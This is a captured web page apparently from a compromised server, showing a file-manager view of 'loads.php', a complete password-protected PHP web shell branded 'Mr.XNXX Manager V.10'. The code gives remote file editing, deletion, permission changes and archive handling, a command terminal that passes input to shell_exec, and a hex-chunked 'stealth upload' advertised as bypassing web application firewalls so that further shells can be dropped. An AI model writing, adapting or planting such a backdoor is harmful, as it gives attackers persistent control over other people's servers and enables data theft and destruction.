Dashboard
PHP:
7.4.33
OS:
Linux
User:
bgfilmse
/
/
var
/
www
/
html
π€ Upload
π New File
π New Folder
Close
Editing: loads.php
<?php session_start(); // --- CONFIGURATION --- $password = 'ObhC0mB1S4S3tUhuK'; // CHANGE THIS $session_key = 'auth_stealth_fm'; // --------------------- // --- AUTH --- if (isset($_POST['login'])) { if ($_POST['pass'] === $password) { $_SESSION[$session_key] = true; } } if (isset($_GET['logout'])) { unset($_SESSION[$session_key]); header("Location: " . $_SERVER['PHP_SELF']); exit; } if (!isset($_SESSION[$session_key])) { echo '<!DOCTYPE html><body style="background:#f0f0f0;display:flex;justify-content:center;align-items:center;height:100vh;"><form method="post" style="background:#fff;padding:20px;border-radius:5px;"><input type="password" name="pass" placeholder="Password" required><button type="submit" name="login">Login</button></form></body>'; exit; } // --- CONFIG & UTILS --- $root = realpath(isset($_GET['p']) ? $_GET['p'] : '.'); if (!$root) $root = getcwd(); $root = str_replace('\\', '/', $root); $msg = ''; function msg($t, $c = 'green') { return "<div style='color:$c;padding:10px;border:1px solid $c;margin-bottom:10px;'>$t</div>"; } function deleteTree($path) { if (is_file($path) || is_link($path)) { return @unlink($path); } if (!is_dir($path)) { return false; } $items = scandir($path); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } if (!deleteTree($path . '/' . $item)) { return false; } } return @rmdir($path); } function copyTree($source, $destination) { if (is_file($source)) { return @copy($source, $destination); } if (!is_dir($source)) { return false; } if (!is_dir($destination)) { if (!@mkdir($destination, 0755, true)) { return false; } } foreach (scandir($source) as $item) { if ($item === '.' || $item === '..') { continue; } if (!copyTree( $source . '/' . $item, $destination . '/' . $item )) { return false; } } return true; } function addToZip($zip, $source, $zipPath) { if (is_file($source)) { $zip->addFile($source, $zipPath); return; } if (!is_dir($source)) { return; } $zip->addEmptyDir($zipPath); foreach (scandir($source) as $item) { if ($item === '.' || $item === '..') { continue; } addToZip( $zip, $source . '/' . $item, $zipPath . '/' . $item ); } } // --- HANDLERS --- // 0. NORMAL UPLOAD HANDLER - Standard PHP upload if (isset($_FILES['normal_file']) && $_FILES['normal_file']['error'] === UPLOAD_ERR_OK) { $file_name = basename($_FILES['normal_file']['name']); $target_file = $root . '/' . $file_name; if (!file_exists($target_file)) { if (move_uploaded_file($_FILES['normal_file']['tmp_name'], $target_file)) { chmod($target_file, 0644); $msg = msg("β Uploaded: " . htmlspecialchars($file_name)); } else { $msg = msg("β Upload failed. Error: " . $_FILES['normal_file']['error'], "red"); } } else { $msg = msg("β οΈ File already exists: " . htmlspecialchars($file_name), "red"); } } // 1. STEALTH UPLOAD HANDLER - Multiple Files Support // Uses generic parameter names: 'h' (hex data), 't' (temp name with file id), 'f' (finalize real name) if (isset($_POST['t']) && isset($_POST['h']) && isset($_POST['file_id'])) { // Append Chunk with file_id to support multiple files $file_id = preg_replace('/[^a-zA-Z0-9]/', '', $_POST['file_id']); $temp_file = $root . '/.tmp_' . $file_id . '_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['t']); $data = hex2bin($_POST['h']); if (file_put_contents($temp_file, $data, FILE_APPEND) !== false) { die("OK"); } else { header("HTTP/1.1 500 IO Error"); die("FAIL"); } } // Finalize Upload (Rename) - Multiple Files Support if (isset($_POST['finalize_t']) && isset($_POST['finalize_n']) && isset($_POST['file_id'])) { $file_id = preg_replace('/[^a-zA-Z0-9]/', '', $_POST['file_id']); $temp_file = $root . '/.tmp_' . $file_id . '_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['finalize_t']); $real_name = base64_decode($_POST['finalize_n']); // Decode real name (e.g. shell.php) $target_file = $root . '/' . basename($real_name); if (file_exists($temp_file)) { if (rename($temp_file, $target_file)) { die("DONE"); } else { die("RENAME_FAIL"); } } else { die("NO_TEMP"); } } // Finalize Upload (Rename) if (isset($_POST['finalize_t']) && isset($_POST['finalize_n'])) { $temp_file = $root . '/.tmp_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['finalize_t']); $real_name = base64_decode($_POST['finalize_n']); // Decode real name (e.g. shell.php) $target_file = $root . '/' . basename($real_name); if (file_exists($temp_file)) { if (rename($temp_file, $target_file)) { die("DONE"); } else { die("RENAME_FAIL"); } } else { die("NO_TEMP"); } } // 2. EDIT if (isset($_POST['save_p']) && isset($_POST['save_c'])) { if (file_put_contents($_POST['save_p'], $_POST['save_c']) !== false) $msg = msg("Saved."); else $msg = msg("Save failed.", "red"); } // 3. RENAME if (isset($_POST['rn_old']) && isset($_POST['rn_new'])) { if (rename($root . '/' . $_POST['rn_old'], $root . '/' . $_POST['rn_new'])) $msg = msg("Renamed."); else $msg = msg("Rename failed.", "red"); } // 4. CHMOD if (isset($_POST['perm_f']) && isset($_POST['perm_v'])) { if (chmod($root . '/' . $_POST['perm_f'], octdec($_POST['perm_v']))) $msg = msg("Chmod OK."); else $msg = msg("Chmod failed.", "red"); } // 4.5. CREATE FOLDER if (isset($_POST['create_folder']) && isset($_POST['folder_name'])) { $folder_name = basename(trim($_POST['folder_name'])); if (!empty($folder_name)) { $folder_path = $root . '/' . $folder_name; if (!file_exists($folder_path)) { if (mkdir($folder_path, 0755)) { $msg = msg("Folder created successfully: " . htmlspecialchars($folder_name)); } else { $msg = msg("Failed to create folder.", "red"); } } else { $msg = msg("Folder already exists: " . htmlspecialchars($folder_name), "red"); } } else { $msg = msg("Folder name cannot be empty.", "red"); } } // 4.6. CREATE FILE if (isset($_POST['create_file']) && isset($_POST['file_name']) && isset($_POST['file_content'])) { $file_name = basename(trim($_POST['file_name'])); $file_content = $_POST['file_content']; if (!empty($file_name)) { $file_path = $root . '/' . $file_name; if (!file_exists($file_path)) { if (file_put_contents($file_path, $file_content) !== false) { $msg = msg("File created successfully: " . htmlspecialchars($file_name)); } else { $msg = msg("Failed to create file.", "red"); } } else { $msg = msg("File already exists: " . htmlspecialchars($file_name), "red"); } } else { $msg = msg("File name cannot be empty.", "red"); } } // 5. DELETE if (isset($_GET['del'])) { $name = basename($_GET['del']); $del = $root . '/' . $name; if (file_exists($del)) { if (deleteTree($del)) { $msg = msg("Deleted."); } else { $msg = msg("Delete failed.", "red"); } } else { $msg = msg("Item not found.", "red"); } } // 6. BULK ACTIONS if (isset($_POST['bulk_action'])) { $selected = isset($_POST['selected']) && is_array($_POST['selected']) ? $_POST['selected'] : []; if (empty($selected)) { $msg = msg("Select at least one item.", "red"); } else { $action = $_POST['bulk_action']; if ($action === 'delete') { $ok = true; foreach ($selected as $item) { $name = basename($item); $target = $root . '/' . $name; if (!file_exists($target) || !deleteTree($target)) { $ok = false; } } $msg = $ok ? msg("Selected items deleted.") : msg("Some items could not be deleted.", "red"); } if ($action === 'copy') { $destination = realpath($_POST['destination'] ?? ''); if (!$destination || !is_dir($destination)) { $msg = msg("Invalid destination.", "red"); } else { $ok = true; foreach ($selected as $item) { $name = basename($item); $source = $root . '/' . $name; $target = $destination . '/' . $name; if (file_exists($target) || !copyTree($source, $target)) { $ok = false; } } $msg = $ok ? msg("Selected items copied.") : msg("Some items could not be copied.", "red"); } } if ($action === 'zip') { if (!class_exists('ZipArchive')) { $msg = msg("ZipArchive is not installed.", "red"); } else { $zipName = basename($_POST['zip_name'] ?? 'archive.zip'); if (strtolower(substr($zipName, -4)) !== '.zip') { $zipName .= '.zip'; } $zipPath = $root . '/' . $zipName; $zip = new ZipArchive(); if ($zip->open( $zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE ) === true) { foreach ($selected as $item) { $name = basename($item); $source = $root . '/' . $name; if (file_exists($source)) { addToZip($zip, $source, $name); } } $zip->close(); $msg = msg("ZIP created: " . $zipName); } else { $msg = msg("ZIP creation failed.", "red"); } } } if ($action === 'unzip') { if (!class_exists('ZipArchive')) { $msg = msg("ZipArchive is not installed.", "red"); } else { $ok = true; foreach ($selected as $item) { $name = basename($item); $source = $root . '/' . $name; if ( !is_file($source) || strtolower(pathinfo($source, PATHINFO_EXTENSION)) !== 'zip' ) { $ok = false; continue; } $zip = new ZipArchive(); if ($zip->open($source) === true) { $zip->extractTo($root); $zip->close(); } else { $ok = false; } } $msg = $ok ? msg("ZIP files extracted.") : msg("Some selected items were not ZIP files or failed.", "red"); } } } } // --- VIEW --- $list = scandir($root); $dirs = []; $files = []; foreach ($list as $i) { if ($i == '.') continue; if (is_dir("$root/$i")) $dirs[] = $i; else $files[] = $i; } $edit_file = isset($_GET['e']) ? "$root/" . $_GET['e'] : null; $edit_content = $edit_file ? file_get_contents($edit_file) : ''; ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <style> body { font-family: sans-serif; background: #eee; padding: 20px } .main { background: #fff; padding: 20px; max-width: 1000px; margin: auto; box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1) } a { text-decoration: none; color: #007bff } a:hover { text-decoration: underline } table { width: 100%; border-collapse: collapse; margin-top: 10px } td, th { padding: 8px; border-bottom: 1px solid #ddd; text-align: left } .btn { padding: 5px 10px; background: #ddd; border: none; cursor: pointer } .btn:hover { background: #ccc } .btn-blue { background: #007bff; color: #fff } .btn-blue:hover { background: #0056b3 } input, textarea { width: 100%; padding: 5px; box-sizing: border-box } #bar { height: 5px; background: green; width: 0%; transition: width 0.2s } </style> </head> <body> <div class="main"> <div style="background:#333;color:#00ff00;padding:15px;text-align:center;margin-bottom:20px;border-radius:5px;font-family:monospace;border:1px solid #00ff00;"> <h2 style="margin:0;font-size:24px;">Mr.XNXX Manager V.10</h2> <p style="margin:5px 0 0;font-size:16px;">Hayolololo</p> </div> <div style="display:flex;justify-content:space-between"> <h3>FileManager</h3> <a href="?logout=1">Logout</a> </div> <?= $msg ?> <div style="background:#f9f9f9;padding:10px;margin-bottom:10px"> <div style="display:flex;justify-content:space-between;align-items:center;"> <div> <strong>Path:</strong> <?php foreach (explode('/', $root) as $k => $p): if ($p === '') continue; ?> / <a href="?p=<?= urlencode(substr($root, 0, strpos($root, $p) + strlen($p))) ?>"><?= $p ?></a> <?php endforeach; ?> </div> <div style="background:#f0f0f0;padding:5px 10px;border-radius:3px;font-family:monospace;font-size:12px;color:#333;"><?= htmlspecialchars($root) ?> </div> </div> </div> <!-- Terminal Functions --> <div style="background:#1a1a2e;color:#00ff00;padding:10px;margin-bottom:10px;border-radius:5px;font-family:monospace;font-size:13px;"> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:8px;"> <span><strong>β‘ Terminal</strong></span> <span style="color:#888;font-size:11px;">Execute commands (use with caution)</span> </div> <form method="post" action="?p=<?= urlencode($root) ?>" style="display:flex;gap:10px;"> <input type="text" name="cmd" placeholder="Enter command..." style="flex:1;background:#0f0f23;color:#00ff00;border:1px solid #333;padding:8px;border-radius:3px;font-family:monospace;"> <button type="submit" name="execute_cmd" class="btn" style="background:#333;color:#00ff00;border:1px solid #00ff00;">Execute</button> </form> <?php // Terminal handler if (isset($_POST['execute_cmd']) && isset($_POST['cmd'])) { $cmd = trim($_POST['cmd']); if (!empty($cmd)) { echo '<div style="background:#0f0f23;padding:8px;margin-top:8px;border-radius:3px;border-left:3px solid #00ff00;white-space:pre-wrap;max-height:300px;overflow-y:auto;">'; echo '<strong style="color:#ff6b6b;">$ ' . htmlspecialchars($cmd) . '</strong><br>'; $output = shell_exec($cmd . ' 2>&1'); echo htmlspecialchars($output ?: 'No output or command failed.'); echo '</div>'; } } ?> </div> <?php if ($edit_file): ?> <form method="post" action="?p=<?= urlencode($root) ?>"> <input type="hidden" name="save_p" value="<?= $edit_file ?>"> <textarea name="save_c" rows="20"><?= $edit_content ?></textarea> <br><br> <button class="btn btn-blue">Save</button> <a href="?p=<?= urlencode($root) ?>" class="btn">Cancel</a> </form> <?php else: ?> <!-- UPLOAD OPTIONS - TWO METHODS --> <div style="display:flex;gap:15px;flex-wrap:wrap;margin-bottom:15px;"> <!-- 1. STEALTH UPLOAD (Hex-Chunked) --> <div style="flex:1;min-width:250px;border:1px dashed #007bff;padding:15px;background:#f0f7ff;border-radius:5px;"> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px;"> <b style="color:#007bff;">π‘οΈ Stealth Upload (Hex-Chunked)</b> <span style="font-size:11px;color:#666;">Bypasses WAF</span> </div> <input type="file" id="uf" style="width:auto;display:inline-block;" multiple> <button onclick="upload()" class="btn btn-blue" style="margin-left:5px;">Upload</button> <div id="prog_box" style="display:none;margin-top:8px;background:#e8f0fe;border-radius:3px;"> <div id="bar" style="height:5px;background:#007bff;width:0%;border-radius:3px;transition:width 0.2s;"></div> </div> <div id="stat" style="font-size:12px;color:#666;margin-top:5px;"></div> </div> <!-- 2. NORMAL UPLOAD (Standard PHP) --> <div style="flex:1;min-width:250px;border:1px solid #28a745;padding:15px;background:#f0fff4;border-radius:5px;"> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px;"> <b style="color:#28a745;">π€ Normal Upload</b> <span style="font-size:11px;color:#666;">Standard PHP</span> </div> <form method="post" action="?p=<?= urlencode($root) ?>" enctype="multipart/form-data" style="display:flex;flex-wrap:wrap;align-items:center;gap:8px;"> <input type="file" name="normal_file" style="flex:1;min-width:150px;" required> <button type="submit" class="btn" style="background:#28a745;color:#fff;white-space:nowrap;">Upload</button> </form> <div style="font-size:11px;color:#666;margin-top:5px;"> Max: <?= ini_get('upload_max_filesize') ?> | Supports all file types </div> </div> </div> <!-- CREATE FOLDER & FILE UI --> <div style="border:1px solid #ddd;padding:15px;background:#f9f9f9;margin-top:10px;margin-bottom:15px;border-radius:5px;"> <div style="display:flex;gap:20px;flex-wrap:wrap;"> <!-- Create Folder --> <div style="flex:1;min-width:200px;"> <form method="post" action="?p=<?= urlencode($root) ?>"> <h4 style="margin:0 0 8px 0;color:#333;">π New Folder</h4> <div style="display:flex;gap:5px;"> <input type="text" name="folder_name" placeholder="Folder name..." required style="flex:1;padding:8px;border:1px solid #ccc;border-radius:3px;"> <button type="submit" name="create_folder" class="btn btn-blue" style="white-space:nowrap;">Create</button> </div> </form> </div> <!-- Create File --> <div style="flex:2;min-width:300px;"> <form method="post" action="?p=<?= urlencode($root) ?>"> <h4 style="margin:0 0 8px 0;color:#333;">π New File</h4> <div style="display:flex;gap:5px;margin-bottom:5px;"> <input type="text" name="file_name" placeholder="File name (e.g. script.php)..." required style="flex:1;padding:8px;border:1px solid #ccc;border-radius:3px;"> </div> <div style="display:flex;gap:5px;"> <textarea name="file_content" placeholder="File content..." rows="2" style="flex:1;padding:8px;border:1px solid #ccc;border-radius:3px;font-family:monospace;"></textarea> <button type="submit" name="create_file" class="btn btn-blue" style="white-space:nowrap;align-self:flex-end;">Save</button> </div> </form> </div> </div> </div> <form method="post" action="?p=<?= urlencode($root) ?>" id="bulkForm"> <div style="background:#eef5ff;padding:10px;border:1px solid #b6d4fe;margin-bottom:10px;border-radius:5px;"> <div style="display:flex;gap:7px;align-items:center;flex-wrap:wrap;"> <label> <input type="checkbox" id="selectAll" style="width:auto;"> Select All </label> <button type="button" class="btn" onclick="setAll(true)">Select All</button> <button type="button" class="btn" onclick="setAll(false)">Clear</button> <span id="selectedCount">0 selected</span> <button type="button" class="btn" onclick="bulkDelete()">Delete</button> <button type="button" class="btn" onclick="bulkCopy()">Copy</button> <button type="button" class="btn btn-blue" onclick="bulkZip()">ZIP</button> <button type="button" class="btn" onclick="bulkUnzip()">Unzip</button> <input type="hidden" name="bulk_action" id="bulkAction"> <input type="hidden" name="destination" id="bulkDestination"> <input type="hidden" name="zip_name" id="bulkZipName"> </div> </div> <table> <tr> <th style="width:30px;"></th> <th>Name</th> <th>Size</th> <th>Perm</th> <th>Action</th> </tr> <?php if ($root != '/'): ?> <tr> <td></td> <td> <a href="?p=<?= urlencode(dirname($root)) ?>">..</a> </td> <td></td> <td></td> <td></td> </tr> <?php endif; ?> <?php foreach ($dirs as $d): ?> <tr> <td> <input type="checkbox" class="item-check" name="selected[]" value="<?= htmlspecialchars($d) ?>" style="width:auto;" > </td> <td> <b>[D]</b> <a href="?p=<?= urlencode("$root/$d") ?>"> <?= htmlspecialchars($d) ?> </a> </td> <td>-</td> <td> <?= substr(sprintf('%o', fileperms("$root/$d")), -4) ?> </td> <td> <button type="button" onclick='rn(<?= json_encode($d) ?>)' class="btn" >R</button> <button type="button" onclick='ch( <?= json_encode($d) ?>, <?= json_encode(substr(sprintf("%o", fileperms("$root/$d")), -4)) ?> )' class="btn" >P</button> <a href="?p=<?= urlencode($root) ?>&del=<?= urlencode($d) ?>" onclick="return confirm('Del?')" style="color:red" >X</a> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $f): ?> <tr> <td> <input type="checkbox" class="item-check" name="selected[]" value="<?= htmlspecialchars($f) ?>" style="width:auto;" > </td> <td> <a href="?p=<?= urlencode($root) ?>&e=<?= urlencode($f) ?>"> <?= htmlspecialchars($f) ?> </a> </td> <td> <?= round(filesize("$root/$f") / 1024, 1) ?> KB </td> <td> <?= substr(sprintf('%o', fileperms("$root/$f")), -4) ?> </td> <td> <button type="button" onclick='rn(<?= json_encode($f) ?>)' class="btn" >R</button> <button type="button" onclick='ch( <?= json_encode($f) ?>, <?= json_encode(substr(sprintf("%o", fileperms("$root/$f")), -4)) ?> )' class="btn" >P</button> <a href="?p=<?= urlencode($root) ?>&del=<?= urlencode($f) ?>" onclick="return confirm('Del?')" style="color:red" >X</a> </td> </tr> <?php endforeach; ?> </table> </form> <?php endif; ?> </div> <script> // STEALTH UPLOAD LOGIC - MULTIPLE FILES SUPPORT async function upload() { let files = document.getElementById('uf').files; if (files.length === 0) return; let stat = document.getElementById('stat'); let bar = document.getElementById('bar'); let totalFiles = files.length; let completedFiles = 0; document.getElementById('prog_box').style.display = 'block'; for (let fileIndex = 0; fileIndex < files.length; fileIndex++) { let f = files[fileIndex]; let fileId = Math.random().toString(36).substring(7) + '_' + fileIndex; let chunkSize = 50 * 1024; // 50KB chunks let chunks = Math.ceil(f.size / chunkSize); let tempId = Math.random().toString(36).substring(7); stat.innerText = `Uploading ${f.name} (${fileIndex+1}/${totalFiles})...`; stat.style.color = '#666'; for (let i = 0; i < chunks; i++) { let start = i * chunkSize; let end = Math.min(f.size, start + chunkSize); let blob = f.slice(start, end); try { // Read as ArrayBuffer -> Convert to Hex let buf = await new Promise(r => { let fr = new FileReader(); fr.onload = e => r(e.target.result); fr.readAsArrayBuffer(blob); }); let hex = [...new Uint8Array(buf)].map(x => x.toString(16).padStart(2, '0')).join(''); // Send Hex Chunk with file_id let fd = new FormData(); fd.append('file_id', fileId); // NEW: Added file_id for multiple files fd.append('t', tempId); fd.append('h', hex); let res = await fetch(window.location.href, { method: 'POST', body: fd }); let txt = await res.text(); if (!txt.includes('OK')) throw new Error('Chunk fail: ' + txt); // Overall Progress let overallProgress = Math.round(((fileIndex * chunks + i + 1) / (totalFiles * chunks)) * 100); bar.style.width = overallProgress + '%'; stat.innerText = `${f.name}: ${Math.round(((i+1)/chunks)*100)}% (${fileIndex+1}/${totalFiles})`; } catch (e) { stat.innerText = 'Error on ' + f.name + ': ' + e.message; stat.style.color = 'red'; return; } } // Finalize each file with file_id stat.innerText = `Finalizing ${f.name}...`; let fd = new FormData(); fd.append('file_id', fileId); // NEW: Added file_id for multiple files fd.append('finalize_t', tempId); fd.append('finalize_n', btoa(f.name)); let res = await fetch(window.location.href, { method: 'POST', body: fd }); let txt = await res.text(); if (txt.includes('DONE')) { completedFiles++; stat.innerText = `Uploaded: ${completedFiles}/${totalFiles}`; stat.style.color = 'green'; } else { stat.innerText = 'Failed to finalize ' + f.name + ': ' + txt; stat.style.color = 'red'; return; } } stat.innerText = 'β All files uploaded successfully! (' + totalFiles + ' files)'; stat.style.color = 'green'; setTimeout(() => location.reload(), 1500); } function rn(old) { let n = prompt("New name:", old); if (n && n != old) { let f = document.createElement('form'); f.method = 'POST'; f.innerHTML = `<input type='hidden' name='rn_old' value='${old}'><input type='hidden' name='rn_new' value='${n}'>`; document.body.appendChild(f); f.submit(); } } function ch(file, perm) { let p = prompt("Permissions (e.g. 0755):", perm); if (p && p != perm) { let f = document.createElement('form'); f.method = 'POST'; f.innerHTML = `<input type='hidden' name='perm_f' value='${file}'><input type='hidden' name='perm_v' value='${p}'>`; document.body.appendChild(f); f.submit(); } } // New functions for create operations feedback function showSuccess(message) { // The PHP will handle showing messages via $msg variable // This is just for client-side confirmation console.log('Success: ' + message); } // Auto-dismiss success messages after 3 seconds (optional) setTimeout(function() { let msgDiv = document.querySelector('.main > div[style*="color"]'); if (msgDiv && msgDiv.style.color !== 'red') { setTimeout(function() { if (msgDiv) msgDiv.style.opacity = '0.5'; }, 3000); } }, 100); function selectedItems() { return Array.from(document.querySelectorAll('.item-check:checked')); } function updateSelected() { const all = Array.from(document.querySelectorAll('.item-check')); const checked = selectedItems(); const master = document.getElementById('selectAll'); document.getElementById('selectedCount').innerText = checked.length + ' selected'; if (master) { master.checked = all.length > 0 && checked.length === all.length; master.indeterminate = checked.length > 0 && checked.length < all.length; } } function setAll(state) { document.querySelectorAll('.item-check').forEach(function(box) { box.checked = state; }); updateSelected(); } function requireSelected() { if (selectedItems().length === 0) { alert('Select at least one item.'); return false; } return true; } function submitBulk(action) { if (!requireSelected()) return; document.getElementById('bulkAction').value = action; document.getElementById('bulkForm').submit(); } function bulkDelete() { if (!requireSelected()) return; if (!confirm('Delete all selected items?')) { return; } document.getElementById('bulkAction').value = 'delete'; document.getElementById('bulkForm').submit(); } function bulkCopy() { if (!requireSelected()) return; const destination = prompt( 'Copy selected items to:', '<?= addslashes($root) ?>' ); if (!destination) return; document.getElementById('bulkDestination').value = destination; document.getElementById('bulkAction').value = 'copy'; document.getElementById('bulkForm').submit(); } function bulkZip() { if (!requireSelected()) return; const name = prompt('ZIP name:', 'archive.zip'); if (!name) return; document.getElementById('bulkZipName').value = name; document.getElementById('bulkAction').value = 'zip'; document.getElementById('bulkForm').submit(); } function bulkUnzip() { if (!requireSelected()) return; if (!confirm('Extract selected ZIP files here?')) { return; } document.getElementById('bulkAction').value = 'unzip'; document.getElementById('bulkForm').submit(); } const masterCheck = document.getElementById('selectAll'); if (masterCheck) { masterCheck.addEventListener('change', function() { setAll(this.checked); }); } document.querySelectorAll('.item-check').forEach(function(box) { box.addEventListener('change', updateSelected); }); updateSelected(); </script> </body> </html>
Save
Cancel